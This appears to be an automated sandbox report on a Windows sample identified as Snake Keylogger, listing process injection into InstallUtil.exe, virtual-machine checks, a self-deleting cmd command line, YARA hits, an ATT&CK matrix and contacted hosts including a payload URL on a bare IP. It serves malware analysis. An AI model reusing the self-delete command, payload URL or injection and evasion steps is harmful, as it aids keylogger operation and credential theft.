Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595031
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599638
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599527
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 599111
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598924
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598804
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598469
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598232
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 598016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 597000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596891
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596549
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596433
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596323
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596211
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 596094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595187
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 595078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594391
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594281
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 594063

Source: Ref_336210627.exe, 00000000.00000002.1788694534.00000000014F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
Source: ijohw.exe, 00000009.00000002.2113494065.0000000001459000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlly
Source: ijohw.exe, 00000009.00000002.2115666335.00000000032CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: ijohw.exe, 00000009.00000002.2115666335.00000000032CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000001.00000002.1904191855.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2032180010.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.2122020409.0000000000896000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2209628746.0000000001537000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Ref_336210627.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Ref_336210627.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Ref_336210627.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 3A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 protect: page execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 3A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 422000	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 424000	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 65E008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 3A0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 3A2000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 3C2000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 3C4000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 5A4008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 422000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 424000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 108D008	Jump to behavior

Source: C:\Users\user\Desktop\Ref_336210627.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /C Y /N /D Y /T 3

Source: C:\Users\user\Desktop\Ref_336210627.exe	Queries volume information: C:\Users\user\Desktop\Ref_336210627.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Ref_336210627.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Queries volume information: C:\Users\user\AppData\Roaming\ijohw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Queries volume information: C:\Users\user\AppData\Roaming\ijohw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Users\user\Desktop\Ref_336210627.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2125618809.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2212706413.0000000003261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 1260, type: MEMORYSTR

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ijohw.exe.3a3fdb0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.43acc48.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1903743320.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2034336187.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2049506536.0000000003ABE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2115666335.00000000036BE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1790161541.000000000378B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804561635.000000000442C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1906440796.0000000002931000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2125618809.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2212706413.0000000003261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ref_336210627.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 3120, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ijohw.exe PID: 4168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 3412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 1260, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	1 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ref_336210627.exe	21%	ReversingLabs	Win32.Trojan.Generic
Ref_336210627.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\ijohw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\ijohw.exe	21%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://172.86.66.70/y3/Lusnteor.mp3	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-netJ	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-neti	0%	Avira URL Cloud	safe
http://reallyfreegeoip.org	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-net	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	Avira URL Cloud	safe
http://172.86.66.70	0%	Avira URL Cloud	safe
http://checkip.dyndns.com	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.96.3	true	true	unknown
checkip.dyndns.com	193.122.130.0	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://172.86.66.70/y3/Lusnteor.mp3	true	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
